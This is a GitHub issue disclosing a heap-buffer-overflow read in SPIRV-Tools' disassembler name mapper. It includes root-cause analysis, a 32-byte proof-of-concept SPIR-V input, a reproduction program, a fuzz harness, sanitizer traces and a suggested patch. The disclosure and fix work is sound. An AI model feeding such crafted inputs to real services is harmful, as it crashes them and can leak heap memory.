Skip to content

# Heap-Buffer-Overflow in FriendlyNameMapper::ParseInstruction via OpTypePointer short word-count under HANDLE_UNKNOWN_OPCODES #6664

@OwenSanzas

Description

@OwenSanzas

Heap-Buffer-Overflow in FriendlyNameMapper::ParseInstruction via OpTypePointer short word-count under HANDLE_UNKNOWN_OPCODES

Summary

spvBinaryToText with SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES and
SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES set reads 4 bytes
past the end of the caller-supplied SPIR-V word buffer at
source/name_mapper.cpp:268 when the module contains an
OpTypePointer instruction whose declared word count is 3 (one fewer
than the grammar requires) and whose StorageClass operand is an
out-of-range enum. The HANDLE_UNKNOWN_OPCODES retry path bypasses the
parser's "all mandatory operands present" gate, so
FriendlyNameMapper::ParseInstruction is dispatched on an instruction
whose inst.num_words == 3, then the OpTypePointer arm
unconditionally reads inst.words[3].

Root Cause

The bug requires two cooperating disassembler options:

  1. SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES causes
    spvBinaryToText (source/disassemble.cpp:1129-1131) to construct
    a FriendlyNameMapper, whose constructor
    (source/name_mapper.cpp:46) calls spvBinaryParseWithOptions
    with FriendlyNameMapper::ParseInstructionForwarder as the
    parsed-instruction callback (source/name_mapper.h:107).

  2. SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES is propagated
    into the parser via spvBinaryParseWithOptions at
    source/binary.cpp:965-967, which calls
    Parser::SetHandleUnknownOpcodes(true). This enables a fallback
    path inside Parser::parseInstruction() (source/binary.cpp:310):
    when parseOperand rejects an enum value it does not recognise it
    sets retry_instruction_as_unknown_ = true
    (source/binary.cpp:762); the outer parser loop catches this at
    source/binary.cpp:409-411 and falls back to the local
    emitAsUnknown() lambda (source/binary.cpp:349-375).

emitAsUnknown() constructs the spv_parsed_instruction_t it hands
to the callback by setting

inst.words      = _.words + inst_offset;          // binary.cpp:365-366
inst.num_words  = inst_word_count;                // binary.cpp:367

where inst_word_count is the declared word count from the
instruction-header word — it is not clamped to the number of
operand words actually present in the buffer beyond the declared
inst_offset + inst_word_count boundary, and (critically) it is not
required to satisfy the grammar's mandatory-operand count. The normal
fast path enforces the latter at source/binary.cpp:417-422; the
unknown-fallback skips that check entirely.

The callback FriendlyNameMapper::ParseInstruction
(source/name_mapper.cpp:164-165) then dispatches on
inst.opcode and the OpTypePointer (opcode 32 / 0x20) arm
reads inst.words[3] without consulting inst.num_words:

Vulnerable code (source/name_mapper.cpp:264-269)

case spv::Op::OpTypePointer:
  SaveName(result_id, std::string("_ptr_") +
                          NameForEnumOperand(SPV_OPERAND_TYPE_STORAGE_CLASS,
                                             inst.words[2]) +
                          "_" + NameForId(inst.words[3]));   // <-- line 268
  break;

OpTypePointer's SPIR-V grammar (spirv-headers
spirv.core.grammar.json, opcode 32) defines three operands:
IdResult, StorageClass, and the pointed-to IdRef Type. A valid
encoding therefore has num_words == 4 (1 header + 3 operands). When
the malformed instruction declares num_words == 3 and the
StorageClass is rejected by the unknown-fallback path, the buffer
hands the callback a 3-word region; reading inst.words[3] walks
past the end of the caller's uint32_t[].

The other Type-Declaration arms in ParseInstruction follow the same
pattern (OpTypeVector reads inst.words[3], OpTypeMatrix reads
inst.words[3], OpTypeArray reads inst.words[3], OpTypePointer
reads inst.words[3], ...). Each is reachable through the same
HANDLE_UNKNOWN_OPCODES + FRIENDLY_NAMES combination on its own
short-encoded opcode; the single bug here is the missing
inst.num_words precondition check across the whole switch, and the
single fix sites are either (a) a precondition assertion in
emitAsUnknown() to refuse callbacks for declared-too-short
instructions, or (b) a inst.num_words >= N guard in the
FriendlyNameMapper::ParseInstruction switch (and any other
spv_parsed_instruction_fn_t consumer) before subscripting words.

This finding is distinct from two other spirv-tools findings in
the same disassembler / linker subtrees:

  • segv-OrderBlocks-disassemble.md — SEGV at
    source/disassemble.cpp:416 in
    spvtools::(anonymous namespace)::OrderBlocks, triggered by
    REORDER_BLOCKS / NESTED_INDENT. Different file, different
    function, different option, different crash class (NULL/empty-vector
    SEGV vs heap-buffer-overflow READ).
  • assertion-spirv-tools-link-bound-zero-not-validated.md — reachable
    assertion inside spvtools::Link (source/link/linker.cpp).
    Different subsystem (linker vs disassembler).

Severity

CVSS 3.1 Score: 6.5 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Metric Value Rationale
Attack Vector Network Crash payload is a 32-byte SPIR-V binary; any process disassembling attacker-supplied SPIR-V (offline shader compilers, validation pipelines, GPU driver developer tools, OSS-Fuzz harnesses, IDE shader plugins) is exposed. SPIR-V is a binary interchange format that crosses trust boundaries in graphics/compute toolchains.
Attack Complexity Low Single 32-byte input; no race or environmental shaping. The two required option bits (FRIENDLY_NAMES, HANDLE_UNKNOWN_OPCODES) are independently set by callers; both are documented public bits in libspirv.h.
Privileges Required None The crashing call is reachable from any caller of spvBinaryToText.
User Interaction None A consumer that auto-disassembles SPIR-V on import (build pipeline, asset bundler) crashes without user action.
Confidentiality Low 4-byte OOB read of adjacent heap memory; the value is fed into NameForId which renders it into a name string that may be returned to the caller via spv_text. With FRIENDLY_NAMES + COMMENT (or any code path that surfaces the disassembled text) the leaked word can be observed by the attacker — a classic small-window heap-content disclosure.
Integrity None No write.
Availability Low Reliable crash → DoS for any service that disassembles untrusted SPIR-V.

This is a memory-safety bug with both a controlled OOB-read and a
DoS. We mark it Medium rather than High because the read is bounded
to 4 bytes and write-side / control-flow corruption is not
demonstrated.

PoC

Crash input

The libFuzzer harness wire format prepends 3 FuzzedDataProvider
option bytes (env, extended-options, legacy-options) which the
harness consumes from the end of the input via
ConsumeIntegral<uint8_t>(). After stripping those, the remaining
32 bytes are a SPIR-V word stream whose interesting bytes are the
sixth word 0x00030020:

word[0] = 0x07230203  // SPIR-V magic
word[1] = 0x00010300  // version 1.3
word[2] = 0xd372f000  // generator
word[3] = 0xffffffff  // bound (intentionally large; not material)
word[4] = 0x000000ba  // schema (reserved=0 expected; harmless garbage)
word[5] = 0x00030020  // INSTRUCTION: word_count=3, opcode=0x20 (OpTypePointer)
word[6] = 0x000f00fe  // claimed result_id (reused as next-inst header)
word[7] = 0x0000002a  // StorageClass operand (= 42, out of range)

The instruction at word[5] declares 3 words but OpTypePointer's
grammar requires 4. The StorageClass operand 42 is not a valid
spv::StorageClass, which forces the parser onto the
HANDLE_UNKNOWN_OPCODES retry path. FriendlyNameMapper::ParseInstruction
is then invoked with inst.num_words == 3 and the OpTypePointer
switch arm reads inst.words[3] past the buffer end.

# generate_poc.py — re-create the original libFuzzer crash bytes (35
# bytes including the 3-byte FuzzedDataProvider option suffix) and
# also the 32-byte stripped SPIR-V word stream the public-API repro
# consumes.
poc = bytes([
    0x03, 0x02, 0x23, 0x07, 0x00, 0x03, 0x01, 0x00,
    0x00, 0xf0, 0x72, 0xd3, 0xff, 0xff, 0xff, 0xff,
    0xba, 0x00, 0x00, 0x00, 0x20, 0x00, 0x03, 0x00,
    0xfe, 0x00, 0x0f, 0x00, 0x2a, 0x00, 0x00, 0x00,
])
open("poc.bin", "wb").write(poc)

Crash input size: 32 bytes (8 SPIR-V words).

Fuzzer Reproduction

The libFuzzer harness spirv_dis_extended_options_fuzzer drives
spvBinaryToText with the four newer disassembler option bits
(COMMENT, NESTED_INDENT, REORDER_BLOCKS,
HANDLE_UNKNOWN_OPCODES) plus the seven legacy bits. Build it
against an ASan-instrumented SPIRV-Tools static library:

# Reuses libSPIRV-Tools.a built with -fsanitize=address (see
# Production Reproduction below for the cmake invocation).
clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1 -fno-omit-frame-pointer \
    -I sources/spirv-tools/include \
    -I sources/spirv-tools/external/spirv-headers/include \
    -I sources/spirv-tools/build-asan/include \
    spirv_dis_extended_options_fuzzer.cc \
    -Wl,--start-group \
        sources/spirv-tools/build-asan/source/libSPIRV-Tools.a \
        sources/spirv-tools/build-asan/source/opt/libSPIRV-Tools-opt.a \
        sources/spirv-tools/build-asan/source/link/libSPIRV-Tools-link.a \
        sources/spirv-tools/build-asan/source/reduce/libSPIRV-Tools-reduce.a \
    -Wl,--end-group \
    -pthread \
    -o spirv_dis_extended_options_fuzzer

Run the harness on the original 35-byte libFuzzer crash input:

ASAN_OPTIONS="symbolize=1:print_stacktrace=1:detect_leaks=0:abort_on_error=0" \
    ./spirv_dis_extended_options_fuzzer ./crash-c98e152287e0ab6a3746440f3bfa0a151f273421

Sanitizer output (top frames, harness-side replay, 3/3 deterministic):

==2104514==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000150 at pc 0x5557591935a0 bp 0x7ffeaf46ca50 sp 0x7ffeaf46ca48
READ of size 4 at 0x503000000150 thread T0
    #0 0x55575919359f in spvtools::FriendlyNameMapper::ParseInstruction(spv_parsed_instruction_t const&) source/name_mapper.cpp:268:47
    #1 0x555759184fef in spvtools::FriendlyNameMapper::ParseInstructionForwarder(void*, spv_parsed_instruction_t const*) source/name_mapper.h:107:62
    #2 0x5557591f0b98 in (anonymous namespace)::Parser::parseInstruction()::$_0::operator()() const source/binary.cpp:372:24
    #3 0x5557591ea1a5 in (anonymous namespace)::Parser::parseInstruction() source/binary.cpp:411:16
    #4 0x5557591ea1a5 in (anonymous namespace)::Parser::parseModule() source/binary.cpp:302:22
    #5 0x5557591e2e30 in (anonymous namespace)::Parser::parse(...) source/binary.cpp:260:31
    #6 0x5557591e2e30 in spvBinaryParseWithOptions(...) source/binary.cpp:968:17
    #7 0x555759184ede in spvtools::FriendlyNameMapper::FriendlyNameMapper(...) source/name_mapper.cpp:46:3
    #9 0x55575917b83a in spvBinaryToText source/disassemble.cpp:1130:23
    #10 0x55575916c006 in LLVMFuzzerTestOneInput spirv_dis_extended_options_fuzzer.cc:131:9

0x503000000150 is located 0 bytes after 32-byte region [0x503000000130,0x503000000150)
SUMMARY: AddressSanitizer: heap-buffer-overflow source/name_mapper.cpp:268:47 in spvtools::FriendlyNameMapper::ParseInstruction(spv_parsed_instruction_t const&)

Production Reproduction

Path B: a 60-line public-API program that calls spvBinaryToText
exactly the way an offline SPIR-V disassembler tool (or any consumer
that uses the FRIENDLY_NAMES feature with HANDLE_UNKNOWN_OPCODES
fallback) would.

Repro program (repro.cc)

// repro.cc — public-API reproduction of HBO at name_mapper.cpp:268.
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <vector>

#include "spirv-tools/libspirv.h"

int main(int argc, char** argv) {
  if (argc != 2) {
    fprintf(stderr, "Usage: %s <spirv_words.bin>\n", argv[0]);
    return 1;
  }

  FILE* f = fopen(argv[1], "rb");
  if (!f) { perror("fopen"); return 1; }
  fseek(f, 0, SEEK_END);
  long n = ftell(f);
  fseek(f, 0, SEEK_SET);
  if (n <= 0 || (n % 4) != 0) {
    fprintf(stderr, "input must be a non-empty 4-byte-aligned word stream\n");
    fclose(f);
    return 1;
  }
  std::vector<uint32_t> words(n / 4);
  if (fread(words.data(), 1, n, f) != static_cast<size_t>(n)) {
    perror("fread");
    fclose(f);
    return 1;
  }
  fclose(f);

  spv_context ctx = spvContextCreate(SPV_ENV_OPENGL_4_5);
  if (!ctx) return 1;

  // FRIENDLY_NAMES enters the FriendlyNameMapper constructor.
  // HANDLE_UNKNOWN_OPCODES enables the unknown-opcode retry that
  // bypasses the "all mandatory operands present" check.
  uint32_t options = SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES |
                     SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES;

  spv_text text = nullptr;
  spv_diagnostic diag = nullptr;
  (void)spvBinaryToText(ctx, words.data(), words.size(), options, &text, &diag);

  if (diag) spvDiagnosticDestroy(diag);
  if (text) spvTextDestroy(text);
  spvContextDestroy(ctx);
  return 0;
}

Build commands

git clone https://github.com/KhronosGroup/SPIRV-Tools.git sources/spirv-tools
git -C sources/spirv-tools/external clone \
    https://github.com/KhronosGroup/SPIRV-Headers.git spirv-headers
git -C sources/spirv-tools checkout ff5c50339cc1e9f34f04cb440a3e5fe89db0161d

mkdir -p sources/spirv-tools/build-asan
cd sources/spirv-tools/build-asan
cmake .. \
    -DCMAKE_BUILD_TYPE=RelWithDebInfo \
    -DSPIRV_WERROR=OFF \
    -DSPIRV_SKIP_TESTS=ON \
    -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
    -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
    -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
    -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
cmake --build . --target SPIRV-Tools-static -j"$(nproc)"
cd ../../..

clang++ -std=c++17 -fsanitize=address -g -O1 -fno-omit-frame-pointer \
    -I sources/spirv-tools/include \
    repro.cc \
    sources/spirv-tools/build-asan/source/libSPIRV-Tools.a \
    -lpthread \
    -o repro

Generate poc.bin

Run the generate_poc.py shown in the PoC section, then strip the
3 trailing FuzzedDataProvider option bytes to obtain the raw SPIR-V
word stream the public-API repro consumes:

python3 generate_poc.py
python3 -c "
data = open('poc.bin','rb').read()[:-3]
data = data[:len(data) - (len(data) % 4)]
open('poc.bin','wb').write(data)
print(f'wrote {len(data)} bytes ({len(data)//4} words)')
"
# wrote 32 bytes (8 words)

Run

ASAN_OPTIONS="symbolize=1:print_stacktrace=1:detect_leaks=0:abort_on_error=0" \
    ./repro poc.bin
# Crashes with: AddressSanitizer: heap-buffer-overflow ...

Sanitizer output (top frames, 3/3 deterministic):

==2350397==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c01425e0060 at pc 0x55e1efb69050 bp 0x7ffd785c3890 sp 0x7ffd785c3888
READ of size 4 at 0x7c01425e0060 thread T0
    #0 0x55e1efb6904f in spvtools::FriendlyNameMapper::ParseInstruction(spv_parsed_instruction_t const&) source/name_mapper.cpp:268:47
    #1 0x55e1efb5a6ff in spvtools::FriendlyNameMapper::ParseInstructionForwarder(void*, spv_parsed_instruction_t const*) source/name_mapper.h:107:62
    #2 0x55e1efbc7408 in (anonymous namespace)::Parser::parseInstruction()::$_0::operator()() const source/binary.cpp:372:24
    #3 0x55e1efbc0a15 in (anonymous namespace)::Parser::parseInstruction() source/binary.cpp:411:16
    #4 0x55e1efbc0a15 in (anonymous namespace)::Parser::parseModule() source/binary.cpp:302:22
    #5 0x55e1efbb96a0 in (anonymous namespace)::Parser::parse(...) source/binary.cpp:260:31
    #6 0x55e1efbb96a0 in spvBinaryParseWithOptions(...) source/binary.cpp:968:17
    #7 0x55e1efb5a5ee in spvtools::FriendlyNameMapper::FriendlyNameMapper(...) source/name_mapper.cpp:46:3
    #9 0x55e1efb50e9a in spvBinaryToText source/disassemble.cpp:1130:23
    #10 0x55e1efb41c87 in main repro.cc:80:9

0x7c01425e0060 is located 0 bytes after 32-byte region [0x7c01425e0040,0x7c01425e0060)
SUMMARY: AddressSanitizer: heap-buffer-overflow source/name_mapper.cpp:268:47 in spvtools::FriendlyNameMapper::ParseInstruction(spv_parsed_instruction_t const&)

The harness-side and production-side traces share the identical top
frame (FriendlyNameMapper::ParseInstruction at
source/name_mapper.cpp:268:47), allocation-size (32-byte region),
and offset (0 bytes after).

Impact

Aspect Details
Type Heap-buffer-overflow (READ, 4 bytes)
Severity Medium
Attack Vector Any consumer of spvBinaryToText that sets both SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES and SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES is exposed when handed attacker-supplied SPIR-V.
Affected Component spirv-tools / source/name_mapper.cpp / spvtools::FriendlyNameMapper::ParseInstruction
Affected Versions KhronosGroup/SPIRV-Tools at commit ff5c50339cc1e9f34f04cb440a3e5fe89db0161d ("spirv-val: Add validation for 4-bit integer types (#6644)"). The bug is a long-standing missing-precondition in code that pre-dates the HANDLE_UNKNOWN_OPCODES retry path; the retry path in binary.cpp:409-411 and the unguarded subscripts in name_mapper.cpp are both present in main.
CWE CWE-125 (Out-of-bounds Read) and CWE-129 (Improper Validation of Array Index)

Suggested Fix

The least-invasive fix is in source/binary.cpp: when the
unknown-opcode fallback dispatches the callback, the parser must
still satisfy the same operand-count contract it normally enforces at
source/binary.cpp:417-422 — specifically, inst.num_words must be
at least the grammar's mandatory-operand count for the recognised
opcode (OpTypePointer's opcode IS recognised; only the StorageClass
operand was unknown). Either:

  1. In emitAsUnknown(), refuse to dispatch the callback when the
    declared inst_word_count is below the grammar's minimum for the
    known opcode and return a diagnostic instead.
  2. Or, defensively, harden each Type-Declaration arm in
    FriendlyNameMapper::ParseInstruction to check inst.num_words
    before subscripting words — mirroring the pattern already used in
    the OpDecorate arm (source/name_mapper.cpp:178,
    assert(inst.num_words > 3);).

Sketch of (2), one-line guard at the OpTypePointer arm (full fix
should cover OpTypeVector / OpTypeMatrix / OpTypeArray /
OpTypeRuntimeArray / OpTypeNodePayloadArrayAMDX /
OpTypeUntypedPointerKHR / OpTypePipe symmetrically):

--- a/source/name_mapper.cpp
+++ b/source/name_mapper.cpp
@@ -262,11 +262,12 @@ spv_result_t FriendlyNameMapper::ParseInstruction(
                std::string("_payloadarr_") + NameForId(inst.words[2]));
       break;
     case spv::Op::OpTypePointer:
-      SaveName(result_id, std::string("_ptr_") +
-                              NameForEnumOperand(SPV_OPERAND_TYPE_STORAGE_CLASS,
-                                                 inst.words[2]) +
-                              "_" + NameForId(inst.words[3]));
-      break;
+      if (inst.num_words >= 4) {
+        SaveName(result_id, std::string("_ptr_") +
+                                NameForEnumOperand(SPV_OPERAND_TYPE_STORAGE_CLASS,
+                                                   inst.words[2]) +
+                                "_" + NameForId(inst.words[3]));
+      }
+      break;

Approach (1) is preferred because it fixes every consumer of
spv_parsed_instruction_fn_t at once (validator, disassembler,
optimizer, future callers) and keeps the existing invariant that
"if the parser hands you an inst, all of inst.words[0..num_words)
are addressable AND the declared word count is at least the grammar
minimum for inst.opcode." The retry-as-unknown path silently
violates the second half of that invariant today.

Fuzz Harness Source

// spirv_dis_extended_options_fuzzer.cc
// Copyright (c) 2026 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

// libFuzzer harness for Logic Group: spirv_dis_extended_options
//
// Drives spvBinaryToText (C API) with the FOUR newer disassembler option
// bits that the in-tree spvtools_dis_fuzzer.cpp does NOT exercise:
//     SPV_BINARY_TO_TEXT_OPTION_COMMENT             (bit 7)
//     SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENT       (bit 8)
//     SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS      (bit 9)
//     SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES (bit 10)
// The existing dis_fuzzer loops options from 0..0x7E (bits 0..6 only),
// so bits 7..10 are cold code at fuzz time even though each of them
// enables a non-trivial new emission path inside the disassembler:
//   - COMMENT adds annotation logic walking OpDecorate chains.
//   - NESTED_INDENT tracks structured-control-flow nesting state.
//   - REORDER_BLOCKS runs a secondary CFG traversal before printing.
//   - HANDLE_UNKNOWN_OPCODES changes the opcode-dispatch fallback.
// All four bits are combinable, so the harness fuzz-selects any subset
// (16 combos) from a single header byte AND also drives the older bits
// 0..6 via another byte so the full option-space is covered.
//
// Input layout (FuzzedDataProvider):
//   byte 0   : low nibble = target_env selector (see PickEnv).
//   byte 1   : extended option bits (bits 0..3 -> COMMENT / NESTED_INDENT
//              / REORDER_BLOCKS / HANDLE_UNKNOWN_OPCODES).
//   byte 2   : legacy option bits (bits 0..6 -> NONE / PRINT / COLOR /
//              INDENT / SHOW_BYTE_OFFSET / NO_HEADER / FRIENDLY_NAMES).
//              bit 7 forces the legacy byte to zero when set (so the
//              extended-bits-only case is exercised distinctly).
//   bytes 3..: SPIR-V word stream (4-byte LE aligned).

#include <cstddef>
#include <cstdint>
#include <cstring>
#include <vector>

#include <fuzzer/FuzzedDataProvider.h>

#include "spirv-tools/libspirv.h"

namespace {

constexpr size_t kMaxWords = 16 * 1024;  // 64KB input cap.

spv_target_env PickEnv(uint8_t nibble) {
  switch (nibble & 0x0F) {
    case 0:  return SPV_ENV_UNIVERSAL_1_0;
    case 1:  return SPV_ENV_UNIVERSAL_1_1;
    case 2:  return SPV_ENV_UNIVERSAL_1_2;
    case 3:  return SPV_ENV_UNIVERSAL_1_3;
    case 4:  return SPV_ENV_UNIVERSAL_1_4;
    case 5:  return SPV_ENV_UNIVERSAL_1_5;
    case 6:  return SPV_ENV_VULKAN_1_0;
    case 7:  return SPV_ENV_VULKAN_1_1;
    case 8:  return SPV_ENV_VULKAN_1_2;
    case 9:  return SPV_ENV_VULKAN_1_3;
    case 10: return SPV_ENV_OPENGL_4_5;
    case 11: return SPV_ENV_OPENCL_1_2;
    default: return SPV_ENV_UNIVERSAL_1_5;
  }
}

}  // namespace

extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
  // 3-byte header + at least a 1-word SPIR-V body (the dis APIs bail
  // on size < 4 anyway, we pre-filter to keep libFuzzer focused).
  if (size < 3 + sizeof(uint32_t)) {
    return 0;
  }

  FuzzedDataProvider fdp(data, size);
  const uint8_t env_byte       = fdp.ConsumeIntegral<uint8_t>();
  const uint8_t extended_byte  = fdp.ConsumeIntegral<uint8_t>();
  const uint8_t legacy_byte    = fdp.ConsumeIntegral<uint8_t>();

  const spv_target_env env = PickEnv(env_byte);

  uint32_t options = 0;
  if (extended_byte & 0x01u) options |= SPV_BINARY_TO_TEXT_OPTION_COMMENT;
  if (extended_byte & 0x02u) options |= SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENT;
  if (extended_byte & 0x04u) options |= SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS;
  if (extended_byte & 0x08u) {
    options |= SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES;
  }

  // Suppress the PRINT bit — PRINT writes to stdout from inside the
  // library which adds noise to the fuzz log and has no bug-finding
  // value for this LG.
  if ((legacy_byte & 0x80u) == 0) {
    if (legacy_byte & 0x01u) options |= SPV_BINARY_TO_TEXT_OPTION_NONE;
    if (legacy_byte & 0x04u) options |= SPV_BINARY_TO_TEXT_OPTION_COLOR;
    if (legacy_byte & 0x08u) options |= SPV_BINARY_TO_TEXT_OPTION_INDENT;
    if (legacy_byte & 0x10u) {
      options |= SPV_BINARY_TO_TEXT_OPTION_SHOW_BYTE_OFFSET;
    }
    if (legacy_byte & 0x20u) options |= SPV_BINARY_TO_TEXT_OPTION_NO_HEADER;
    if (legacy_byte & 0x40u) options |= SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES;
  }

  const std::vector<uint8_t> body = fdp.ConsumeRemainingBytes<uint8_t>();
  if (body.size() < sizeof(uint32_t)) return 0;

  const size_t word_count = std::min(body.size() / sizeof(uint32_t), kMaxWords);
  std::vector<uint32_t> binary(word_count);
  // LE byte-to-word pack. memcpy is safe because word_count is derived
  // from body.size() via floor-div and the multiply cannot overflow for
  // the 64KB cap.
  if (word_count > 0) {
    std::memcpy(binary.data(), body.data(), word_count * sizeof(uint32_t));
  }

  const spv_context context = spvContextCreate(env);
  if (context == nullptr) return 0;

  spv_text text = nullptr;
  spv_diagnostic diagnostic = nullptr;

  (void)spvBinaryToText(context, binary.data(), binary.size(), options, &text,
                        &diagnostic);

  if (diagnostic != nullptr) {
    spvDiagnosticDestroy(diagnostic);
    diagnostic = nullptr;
  }
  if (text != nullptr) {
    spvTextDestroy(text);
    text = nullptr;
  }

  spvContextDestroy(context);
  return 0;
}

Compiled with clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1 -fno-omit-frame-pointer against the four ASan-built static libraries
(libSPIRV-Tools.a, libSPIRV-Tools-opt.a, libSPIRV-Tools-link.a,
libSPIRV-Tools-reduce.a) wrapped in -Wl,--start-group ... -Wl,--end-group -pthread. Includes pull from
sources/spirv-tools/{include,external/spirv-headers/include,build/include}.
Corpus: SPIR-V module fuzzing seeds (4-byte aligned word streams with
the SPIR-V magic 0x07230203). No special ASAN_OPTIONS overrides;
no fork-mode flags.

Discovery

  • Discovered by: O2 Security Team (FuzzingBrain)
  • Discovered on: 2026-04-25
  • Harness: spirv_dis_extended_options_fuzzer.cc (see "Fuzz Harness Source" above)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions